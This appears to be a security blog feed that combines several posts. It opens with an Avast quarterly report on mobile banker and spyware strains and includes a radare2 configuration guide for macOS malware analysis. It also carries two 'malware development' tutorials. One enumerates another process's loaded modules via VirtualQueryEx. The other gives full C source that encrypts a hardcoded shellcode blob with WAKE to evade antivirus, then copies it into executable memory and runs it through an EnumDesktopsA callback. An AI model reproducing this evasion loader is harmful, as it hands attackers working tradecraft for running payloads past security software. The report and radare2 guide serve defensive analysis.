Banker evolution continues this quarter with several new strains alongside updates to existing ones. Xenomorph makes a return with some new features, GoldDigger makes an entrance and SpyNote breaches the divide between spyware and bankers. Despite the new arrivals and updates, bankers overall have been on a steady decline in terms of protected users in our telemetry for the last few quarters. Cerberus/Alien maintains its top spot this quarter, trailed by Coper and Hydra strains. We observe an over 20% decrease in monthly average protected users this quarter on all top three banker strains. 

Xenomorph is back after a few months hiatus and has evolved again with several added features and a new method of spread. It appears that this new campaign mainly targets bank users in Spain, US and Portugal as well as adding crypto wallets to its repertoire. Using tailored phishing websites disguised as chrome updates, Xenomorph tricks victims into downloading its malicious APK. Once installed, it uses the accessibility service to take over the device, monitoring 2FA messages and can display hundreds of fake bank overlays to its victim to steal login credentials. New features include keeping the device awake, a mimic mode that disguises the malware further and hides its icon, and lastly it can click anywhere on the device’s screen. Interestingly, Xenomorph was observed to be served alongside RisePro, a Windows based info stealer that also targets banking details and crypto wallets. This may point to a coordinated effort between various actors or a single actor behind multiple strains of malware. 

A ‘tooltip’ displayed to the victims of Xenomorph once it is installed on the device 

A banker targeting victims in Vietnam pretending to be a government portal or a local energy company has been discovered and codenamed GoldDigger. It uses Virbox Protector, a publicly available software that can obfuscate code and prevent both dynamic and static analysis. This appears to be a growing trend in Southeast Asia in recent years, as the use of advanced obfuscation can mean the malware goes undetected for longer. GoldDigger uses fake websites that imitate the PlayStore or phishing in private messages to spread itself. Once on the device, it can steal 2FA SMS as well as personal information and banking credentials. 

GoldDigger displays a fake splash screen to its victim (in Vietnamese), followed by a request to enable the Accessibility service 

In an unusual twist, SpyNote has further evolved to the point of breaching into the banking sphere. Recent samples that we have observed are starting to use the spy features of this strain to extract 2FA messages as well as banking credentials and logins. Spreading through smishing and actual phone calls, victims are encouraged to update to a latest version of their banking application, which unfortunately is the SpyNote malware. This version of SpyNote uses the Accessibility service to key log victim’s entries, record the screen and extract confidential information. It also features a defense module that is intended to prevent its removal. As mentioned in previous quarterly reports, we are seeing more spyware strains being re-used in the banking sphere and we anticipate this merging of strains will continue going forward. 

An unfinished SpyNote sample displays a fake update message that downloads further malicious APKs 

Despite continued activity, updated strains and new bankers entering the market, we observe a steady decline in attacked users for several quarters in a row. We estimate that this is due to threat actors using more tailored approaches as of late as we observe less widespread SMS campaigns that were signature of FluBot and others a few quarters ago.

Global risk ratio of mobile bankers in Q4/2022-Q3/2023

Turkey continues to hold top place with the most protected users, closely followed by Spain, France, and the UK. Most of the banker focus appears to be on Europe, with a few exceptions such as Brazil, Japan, and Australia.

Global risk ratio for mobile bankers in Q3/2023  

Spyware Telegram Mods Are on the Rise 

Spyware is used to spy on unsuspecting victims with the intent of extracting personal information such as messages, photos, location, or login details. It uses fake adverts, phishing messages, and modifications of popular applications to spread and harvest user information. State backed commercial spyware is becoming more prevalent and is used to target individuals with 0-day exploits. 

Spyware presence has slightly declined this quarter as Spymax maintains its top spot among the spyware strains with SexInfoSteal and FaceStealer trailing closely behind. New additions to the spyware family this quarter include several new trojanized modifications of popular messenger applications and SpyNote making another appearance. We note the spread of a fake spyware missile alert app in Israel and Spyloans continue their reign as several new samples have been spotted on the PlayStore.  

Another version of SpyNote/Spymax was used as part of a short campaign targeting users in Japan with fake SMS messages about unpaid utility or water bills. Containing a sense of urgency, these messages led victims to a series of phishing sites which downloaded the SpyNote onto their devices. Once installed, the malware would direct users to open settings and enable the accessibility service to allow it install further malware and hide itself on the device. It then spied on victim’s personal data and was able to access authenticator apps on the device and steal social media credentials.

The SpyNote config containing various settings and checks, such as having Accessibility enabled 

In relation to recent escalating situation between Israel and Palestine, it is worth highlighting a spyware Red Alert missile warning app that was distributed through a phishing website. The original app is used by many in Israel to monitor missile warnings. The fake Red Alert spyware app contained identical features with added abilities that allow it to spy on its victims. This included extracting the call log, SMS lists, location, and emails, among others. The malware also features anti-debugging and anti-emulation that attempts to prevent detection. While not documented, it is possible this malware could also be used to deliver fake warning messages, as has happened with other breached missile warning apps.

Phishing site impersonating the original RedAlert missile warning website that downloads the spyware payload

As noted in the past quarterly reports, mods for WhatsApp, Telegram and Signal are becoming a more popular target for threat actors. We observe another case of Trojanized Telegram mods discovered on the PlayStore, this time targeting Chinese speaking victims. This version appears like the Telegram app at face value, but harvests user information, messages, calls and contact lists in the background. These are then exfiltrated to a cloud service to be further used by malicious actors. Similarly, BadBazaar samples have been spread through trojanized Signal and Telegram apps. Using fake websites to lure victims in, this strain appears to be targeting the Uyghur population. It contains a similar spyware feature set as the trojanized telegram mods. These malicious modifications are around to stay, and users are advised to avoid modifications for popular messaging apps.

Splash screen of the fake FlyGram mod that contains BadBazaar spyware

Spyloan applications continue to spread on the PlayStore. As reported on by Zimperium, these apps remain mostly unchanged and offer loans to unsuspecting victims in various Asian and South American countries. Once the user installs the application, it requests various invasive permissions under the guise of a credit check. If the victim allows these, the actors behind the spy loans will harvest victim data such as messages, contact lists and photos to name a few. These are then used to extort victims into often paying more than the agreed amount and this harassment may continue even after the debt is paid. Users are advised to avoid unofficial sources of loans to avoid this type of extortion.  

This quarter brings a slight decrease in the prevalence of spyware in the mobile sector. While several strains of malicious mods snuck onto the PlayStore, we see an overall decrease in activity and spread of spyware this quarter.

Global risk ratio of mobile spyware in Q2/2023 and Q3/2023

Brazil continues to have the highest number of protected users this quarter, followed by Turkey, US, and India. Yemen has the highest risk of encountering mobile malware in comparison to the rest of the world.

Global risk ratio for mobile spyware in Q3/2023

Jakub Vávra, Malware Analyst

Acknowledgements / Credits

Malware researchers

Adolf Středa
Alexej Savčin
Bohumír Fajt
Branislav Kramár
David Álvarez
Igor Morgenstern
Jakub Křoustek
Jakub Vávra
Jan Rubín
Jan Vojtěšek
Ladislav Zezula
Luigino Camastra
Luis Corrons
Martin Chlumecký
Matěj Krčma
Michal Salát
Ondřej Mokoš 

Data analysts

Pavol Plaskoň
Filip Husák
Lukáš Zobal 

Communications

Brittany Posey
Emma McGowan 

The post Avast Q3/2023 Threat Report appeared first on Avast Threat Labs.

Malware development trick - part 37: Enumerate process modules via VirtualQueryEx. Simple C++ example.

7 November 2023 at 00:30

Hello, cybersecurity enthusiasts and white hackers!

hack

Today, this post is the result of my own research on another popular malware development trick: get list of modules of target process.

It’s similar to my previous post about enum list of modules, but in this case I used VirtualQueryEx

practical example

First of all, we just use one of the methods to find target process PID. For example I used this one:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

Then, create function which opens a specified process, iterates through its memory regions using VirtualQueryEx, and retrieves information about the loaded modules, including their names and base addresses:

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {
  HANDLE ph;
  MEMORY_BASIC_INFORMATION mbi;
  char * base = NULL;

  ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
  if (ph == NULL)
    return -1;

  printf("modules found:\n");
  printf("name\t\t\t base address\n");
  printf("=================================================================================\n");

  while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
    char szModName[MAX_PATH];

    // only focus on the base address regions
    if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
      if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
        printf("%#25s\t\t%#10llx\n", szModName, (unsigned long long)mbi.AllocationBase);
      }
      // check the next region
      base += mbi.RegionSize;
    }
  
  CloseHandle(ph);
  return 0;
}

As you can see, the code enters a while loop that continues as long as the VirtualQueryEx function successfully retrieves memory information. This loop iterates through memory regions within the target process.

Then checks whether the AllocationBase of the current memory region matches the BaseAddress. This condition ensures that it only focuses on the base address regions. If the conditions are met, it proceeds to retrieve the module name.

if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR))) - The GetModuleFileNameEx function is called to retrieve the module filename associated with the current memory region’s base address. If successful, it stores the filename in szModName.

If the module name retrieval was successful, the code prints the module name and base address in a formatted manner.

After processing the current region, the base pointer is incremented by the size of the region to check the next region in the subsequent iteration of the loop.

That’s all.

So, the full source code is looks like this (hack.c):

/*
 * hack.c - get the list of 
 * modules of the process via VirtualQueryEx. C++ implementation
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2023/11/07/malware-tricks-37.html
*/
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <psapi.h>

#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ph,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE Newph
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return pid;
}

// function to list modules loaded by a specified process
int listModulesOfProcess(int pid) {
  HANDLE ph;
  MEMORY_BASIC_INFORMATION mbi;
  char * base = NULL;

  ph = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
  if (ph == NULL)
    return -1;

  printf("modules found:\n");
  printf("name\t\t\t base address\n");
  printf("=================================================================================\n");

  while (VirtualQueryEx(ph, base, &mbi, sizeof(mbi)) == sizeof(MEMORY_BASIC_INFORMATION)) {
    char szModName[MAX_PATH];

    // only focus on the base address regions
    if ((mbi.AllocationBase == mbi.BaseAddress) && (mbi.AllocationBase != NULL)) {
      if (GetModuleFileNameEx(ph, (HMODULE) mbi.AllocationBase, (LPSTR) szModName, sizeof(szModName) / sizeof(TCHAR)))
        printf("%#25s\t\t%#10llx\n", szModName, (unsigned long long)mbi.AllocationBase);
      }
      // check the next region
      base += mbi.RegionSize;
    }
  
  CloseHandle(ph);
  return 0;
}

int main(int argc, char* argv[]) {
  int pid = 0; // process ID
  pid = findMyProc(argv[1]);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  if (pid != 0)
    listModulesOfProcess(pid);
  return 0;
}

demo

Let’s go to see this logic in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi

hack

Then, open target process in the victim’s machine:

hack

And just run our hack.exe:

.\hack.exe mspaint.exe

hack

hack

As you can see, everything is worked perfectly! =^..^=

Keep in mind that this code may have limitations and dependencies on specific Windows APIs. Additionally, it relies on the process name for identification, which may not be unique.

This code can also help you develop your own script to work with process memory, for example for forensics or other tasks on blue team practical cases.

I hope this post spreads awareness to the blue teamers of this interesting malware dev technique, and adds a weapon to the red teamers arsenal.

VirtualQueryEx
GetModuleFileNameEx
Find process ID by name and inject to it
Find PID via NtGetNextProcess
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

11 Ways to Tweak radare2 for Faster and Easier macOS Malware Analysis

31 October 2023 at 15:08

Our recent eBook on how to use radare2 (r2) for macOS malware analysis focused on providing analysts with a series of guided use cases for typical tasks like string decryption, anti-evasion and automation. Aimed at those seeking to power-up their macOS malware analysis skills, the guide contains lots of tips on using r2, but mostly focuses on working through malware samples exemplifying typical challenges.

In this post, somewhat inspired by a similar post on Ghidra, we look at lowering the learning curve and supercharging productivity for those new to or recently converted to using the r2 platform. While the default settings in r2 may be fine for basic reverse engineering, there is a lot of simple customization we can and should do for a better malware analysis workflow.

Explore and Change the Default Theme

Environment is everything when you need to concentrate and focus, and nothing contributes to this more than the UI appearance and theme. Fortunately, r2 comes packed with a bunch of themes built in which can also be customized, so you don’t need to worry about downloading or installing third-party plugins or code.

First, we’ll see how to explore the available themes, then we’ll see how to set that as the default theme for every launch.

On the r2 command line, type eco , then a space, then tab. You’ll see a list of the built-in theme names.

r2 themes
r2 themes

Explore how the different themes look by typing the name of the theme after eco , hitting return, then executing pdf, x, or V to see how it looks. Rinse and repeat till you find one that you like the look of.

eco monokai; pdf; x
r2's monokai theme
r2’s monokai theme

Once you have your chosen theme, the next step is to make it the default theme. Exit r2 or open a separate Terminal window and use the following command line to create or append the config file at the default location ~/.radare2rc. I used ‘smyck’ here, but change to suit your preference.

cd; echo eco smyck >> .radare2rc

After executing the command, quit and restart r2 to see the change. The prompt can be customized within the chosen theme. Play around with different foreground / background color combinations with variations of:

ec prompt white green
ec prompt cyan darkgray

Turn Off the Jokes!

You may or may not enjoy the “fortune cookies” that appear on each launch of radare2. Some can be funny, others less so, depending on your taste. Be wary that if you’re sharing screenshots of your r2 sessions either publicly or privately, the ‘jokes’ may cause offense to others if you inadvertently capture them.

We can turn them off with a simple command added to our config file.

cd; echo e cfg.fortunes=false >> .radare2rc

Turn On (and Off) the Comments!

r2 comes with some built-in help for new reverse engineers or even experienced reversers who are learning a new architecture.

Compare the default display of the pdf command:

r2 comments

You will likely not want comments on all the time, as they can be distracting, but it can be really useful to turn them on when you come across an unfamiliar instruction or operand.

We can add a couple of aliases to our config file that will allow us to use the commands “$conn” and “$coff” to quickly toggle comments. Add the following commands to the .radare2rc file, and restart r2.

$coff='e asm.describe = false'
$conn='e asm.describe = true'

Indent Code Blocks for Better Visibility

radare2 helps reverse engineers to visualize control flow and in a variety of ways, one of which is by allowing the indentation of blocks in the disassembly to show nested code.

By default, this is turned off and all blocks appear at the same tabular offset, as in the example below.

Block indentation off

We can make it easier to quickly visualize the relationship between blocks of code by turning code indent on.

Indentation on

You could make a pair of aliases to toggle this setting as we did with comments, substituting the value ‘true’ with ‘false’, but for my part I never see a need to turn it off, so I just add the following to my config file.

cd; echo e asm.indent=true >> .radare2rc

Make r2’s Help More Helpful

Help in r2 is summoned with the ? command, but it can be tough finding what we need sometimes. It would make life easier if we could easily grep all the help for a search term of interest.

To do so, add the following code to the .radare2rc config file:

(help x; ?*~$0)

Now, restart r2 and load a binary, say /bin/ls for simplicity. Now compare the output of searching for help on the keyword ‘crypto’:

A macro to make searching the help doc easier
A macro to make searching the help doc easier

Our macro is just a shortcut for ? followed by a wildcard and then grepping for our search term, but it’s a lot easier to remember .(help <searchterm>).

Note that for multi-word search terms, you must escape any spaces in the search string.

.(help hexdump\ columns)
Spaces in the search term need to be escaped

Set the Block Size

Block size is the amount of lines r2 prints out with commands like px. By default it’s set to 0x100, but sometimes that’s not enough to see everything of interest.

The block size can be changed within a session on the command line with b <size>, e.g.

b 0x200
Use the previous macro to get more help about block sizes

A simple alias in our config file is useful for printing out extended block size in one shot:

$x='b 0x200; px'

Sort and Search Functions By Size, XREFS & Other Criteria

In radare2, afl and afll are the go-to commands for viewing function information, but we sometimes want to tailor the output for specific items of interest. Here’s a few different ones I use to help me narrow down various bits of code that might be of interest.

The first two have a dependency on another alias, $fcol, which simply prints out the column headings for the subsequent output from afll:

$fcol='afll\~:0'

Top twenty largest functions in the binary:

$top20='clear; $fcol; afll \| sort -k 3 -nr \| head -n 20'

Top twenty functions with the largest number of XREFS:

$topX='clear; $fcol; afll \| sort -k 14 -nr \| head -n 20'

Functions related to swizzling in Objective-C binaries (shout out to LaurieWired’s recent talk for this idea):

$swiz='afl\~exchangeImplement; afl\~getInstanceMethod; afl\~getClassMethod; afl\~setImplementation'

Print out the functions of interest in a Go binary, ignoring the boilerplate imports:

(gafl; afl | grep -v vendor_golang.org | grep -v runtime | grep -e main -e github | sort -k 4 -nr) 

This time we used a macro rather than an alias. Either will work. Note that with the macro, you don’t need to escape special characters like the pipe or tilde symbols.

Print Calls to and From the Current Function

Understanding the relationships between functions is crucial to discovering malicious behaviour and honing in on parts of a binary we want to use for hunting and detection.

To view all the calls to a current function, the r2 command axg will give a nice graphical view all the way back to main. To view the calls a function makes, use pifc.

If we find these obtuse r2 commands difficult to remember, then of course aliases are our friends:

$callee=’axg’
$calls=’pifc’

However, exploring the nuances of ax and pi through ? and our .(help) macro will return dividends.

We can gain a better understanding of the overall structure of a function with the following macro, which prints out a useful summary of information.

(metaf ;  afiq; echo XREFS:; axg; echo INSTR:; afist; pds)

Edit and Test Yara Rules Within radare2

If you have a local YARA file, you can edit it from within r2 from the command line like so:

!vi <path to yara file>

From here, add or adjust existing rules, save and quit out of the text editor, then call it on the currently loaded binary to test the file against the rules:

!yara -fs <path to yara file> `o.`

The r2 command o. serves as a reference to the currently loaded binary and is useful in a wide variety of aliases and macros.

Let’s define an alias and a macro for the above.

$rules=!vi <path to your yara rules file>
(yara x;  !yara -$0w <path to your yara rules> `o.`)

After restarting r2, we can now edit our YARA rules from within r2 with the $rules command. We can call our rules on the currently loaded file with .(yara f).

Try .(yara m) and .(yara s) and note the differences.

Running YARA rules against the loaded sample

Query VirusTotal about the Current Sample

Once you realize how easy it is to call external command line utilities from within an r2 session, multiple possibilities for faster and easier workflows open up.

Perhaps one of the most oft-used tools for malware analysts is VirusTotal. If you have the VT API tool installed and in your PATH, it’s very easy to integrate this with r2. Again, a simple addition to our config file is all that’s needed:

$vt=!vt file `o.` --include=meaningful_name,tags,popular_threat_classification,first_submission_date,last_submission_date

You can modify what to include to suit your preferences per the VT documentation.

Get results from VirusTotal within r2 session

Check Code Signature of Current Sample

One final tip for anyone that struggles to remember all the various ways to check whether a sample has a valid code signature, whether its notarized and whether its been revoked by Apple…put it all in an alias and run it from within r2!

$codesign='izz~Developer ID; !codesign -dvvv -r - `o.`; !spctl -vvvv -a -t execute `o.`'

Conclusion

Working with r2 can be daunting at first, but the platform is built on simplicity. Thanks to its integration with the command line, with a few customizations, radare2 can be quickly turned into a powerful platform for malware analysts. There are also many plugins for radare2 to augment it with various external decompilers, including Ghidra, work with frameworks like Frida, and (of course) work with AI chat bots.

If you enjoyed this post and haven’t yet checked out the ebook, A Security Practitioner’s Guide to Reversing macOS Malware with Radare2, you can find it here. This free PDF resource covers lots of recent macOS malware and walks through example cases of common reversing tasks, all in radare2.

Malware and cryptography 21: encrypt/decrypt payload via WAKE. Simple C++ example.

20 October 2023 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

av-evasion

This post is the result of my own research on try to evasion AV engines via encrypting payload with another algorithm: WAKE. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

wake

The WAKE (Word Auto-Key Encryption) algorithm, created by David Wheeler in 1993, is a stream encryption method. It uses an automatic key schedule to encrypt and decrypt data. Operating in rounds, it generates an auto-key sequence to scramble data. Its simplicity makes it easy to implement, though not suitable for high-security applications due to known vulnerabilities. WAKE encryption offers historical significance as one of the early cryptographic algorithms for lightweight applications.

practical example

Here’s a step-by-step overview of implementing the WAKE encryption algorithm with 32 rounds:

Key Scheduling: - Start with a 32-bit encryption key. Initialize a schedule array to store round keys. The first key is the user-provided key, and the remaining keys are generated using a simple arithmetic operation and a multiplier.

void key_schedule(uint32_t key, uint32_t schedule[ROUNDS]) {
  schedule[0] = key;
  for (int i = 1; i < ROUNDS; i++) {
    schedule[i] = (schedule[i - 1] + 0x6DC597F) * 0x5851F42D;
  }
}

Data Preparation: - Divide the data into 32-bit blocks if the data length is not already a multiple of 4 bytes. Add padding to ensure the last block is 32 bits:

void add_padding(unsigned char **data, size_t *data_len) {
  size_t original_len = *data_len;
  size_t new_len = (*data_len + 3) & ~3; // Round up to the nearest 4 bytes
  if (new_len != original_len) {
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memset(new_data, 0, new_len);
    memcpy(new_data, *data, original_len);
    *data = new_data;
    *data_len = new_len;
  }
}

Encryption: - For each 32-bit block of data:

  • For each of the 32 rounds:
  • Add the current round key to the data block.
  • Perform a bitwise rotation operation on the data (shifting left by 3 bits and rotating in the carry bit).
  • Continue to the next round:
void wake_encrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = 0; j < ROUNDS; j++) {
      data[i] += schedule[j];
      data[i] = (data[i] << 3) | (data[i] >> 29);
    }
  }
}

Decryption: - To decrypt, you need the same key schedule. Reverse the encryption process by applying operations in reverse order.

void wake_decrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = ROUNDS - 1; j >= 0; j--) {
      data[i] = (data[i] >> 3) | (data[i] << 29);
      data[i] -= schedule[j];
    }
  }
}

Padding Removal: - After decryption, remove any added padding from the data:

// Remove padding from data
void remove_padding(unsigned char **data, size_t *data_len) {
  // find the last non-zero byte
  int i = *data_len - 1;
  while (i >= 0 && (*data)[i] == 0) {
    i--;
  }

  // Calculate the new length without padding
  size_t new_len = i + 1;
  if (new_len != *data_len) {
    // Create a new buffer without padding
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memcpy(new_data, *data, new_len);
    *data = new_data;
    *data_len = new_len;
  }
}

This implementation yields a simple yet effective encryption scheme. However, it’s important to note that the WAKE algorithm has known vulnerabilities and is not suitable for high-security applications.

So, full source code for encryption and decryption our meow-meow payload is looks like this:

/*
 * hack.c
 * WAKE encrypt/decrypt implementation
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2023/10/20/malware-cryptography-21.html
*/
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROUNDS 64

// WAKE key schedule
void key_schedule(uint32_t key, uint32_t schedule[ROUNDS]) {
  schedule[0] = key;
  for (int i = 1; i < ROUNDS; i++) {
    schedule[i] = (schedule[i - 1] + 0x6DC597F) * 0x5851F42D;
  }
}

// WAKE encryption
void wake_encrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = 0; j < ROUNDS; j++) {
      data[i] += schedule[j];
      data[i] = (data[i] << 3) | (data[i] >> 29);
    }
  }
}

// WAKE decryption
void wake_decrypt(uint32_t schedule[ROUNDS], uint32_t *data, size_t data_len) {
  for (size_t i = 0; i < data_len; i++) {
    for (int j = ROUNDS - 1; j >= 0; j--) {
      data[i] = (data[i] >> 3) | (data[i] << 29);
      data[i] -= schedule[j];
    }
  }
}

// Add padding to data
void add_padding(unsigned char **data, size_t *data_len) {
  size_t original_len = *data_len;
  size_t new_len = (*data_len + 3) & ~3; // Round up to the nearest 4 bytes
  if (new_len != original_len) {
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memset(new_data, 0, new_len);
    memcpy(new_data, *data, original_len);
    *data = new_data;
    *data_len = new_len;
  }
}

// Remove padding from data
void remove_padding(unsigned char **data, size_t *data_len) {
  // find the last non-zero byte
  int i = *data_len - 1;
  while (i >= 0 && (*data)[i] == 0) {
    i--;
  }

  // Calculate the new length without padding
  size_t new_len = i + 1;
  if (new_len != *data_len) {
    // Create a new buffer without padding
    unsigned char *new_data = (unsigned char *)malloc(new_len);
    if (new_data == NULL) {
      // Handle memory allocation error
      return;
    }
    memcpy(new_data, *data, new_len);
    *data = new_data;
    *data_len = new_len;
  }
}

// Encrypt/decrypt data
void run_payload(unsigned char *data, size_t data_len, uint32_t key) {
  printf("original data:\n");
  for (size_t i = 0; i < data_len; i++) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  add_padding(&data, &data_len); // Add padding

  printf("padded data:\n");
  for (size_t i = 0; i < data_len; i++) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  size_t num_words = data_len / 4;
  uint32_t *data_words = (uint32_t *)data;

  uint32_t schedule[ROUNDS];
  key_schedule(key, schedule);

  // Encrypt the data
  wake_encrypt(schedule, data_words, num_words);

  printf("encrypted data:\n");
  for (size_t i = 0; i < num_words; i++) {
    // printf("%02X ", data_words[i]);
    for (int j = 0; j < 4; j++) {
      printf("%02x ", (data_words[i] >> (j * 8)) & 0xFF);
    }
    // printf(" "); // Add space between words
  }
  printf("\n\n");

  // Decrypt the data
  wake_decrypt(schedule, data_words, num_words);

  printf("decrypted data:\n");
  for (size_t i = 0; i < num_words; i++) {
    // printf("%08X ", data_words[i]);
    for (int j = 0; j < 4; j++) {
      printf("%02x ", (data_words[i] >> (j * 8)) & 0xFF);
    }
    // printf(" "); // Add space between words
  }
  printf("\n\n");

  remove_padding(&data, &data_len); // Remove padding

  printf("decrypted unpadded data:\n");
  for (size_t i = 0; i < data_len; i++) {
    printf("%02x ", data[i]);
  }
  printf("\n\n");

  LPVOID mem = VirtualAlloc(NULL, data_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(mem, data, data_len);
  EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);
}

int main() {
  unsigned char data[] = {
    0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  };
  size_t data_len = sizeof(data);

  uint32_t key = 0x01234567; // 32-bit encryption key

  run_payload(data, data_len, key);

  return 0;
}

Of course, this will look suspicious for antivirus solutions, but I’ll still look at the result. Printing operations is just for checking correctness of implementation.

demo

Let’s go see it in action.

Compile it:

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

av-evasion

And run it in the victim’s machine (windows 7 x64 in my case):

.\hack.exe

av-evasion

av-evasion

As you can see, payload (1) successfully decrypted. (2)

Also worked in windows 10 x64 v1903:

av-evasion

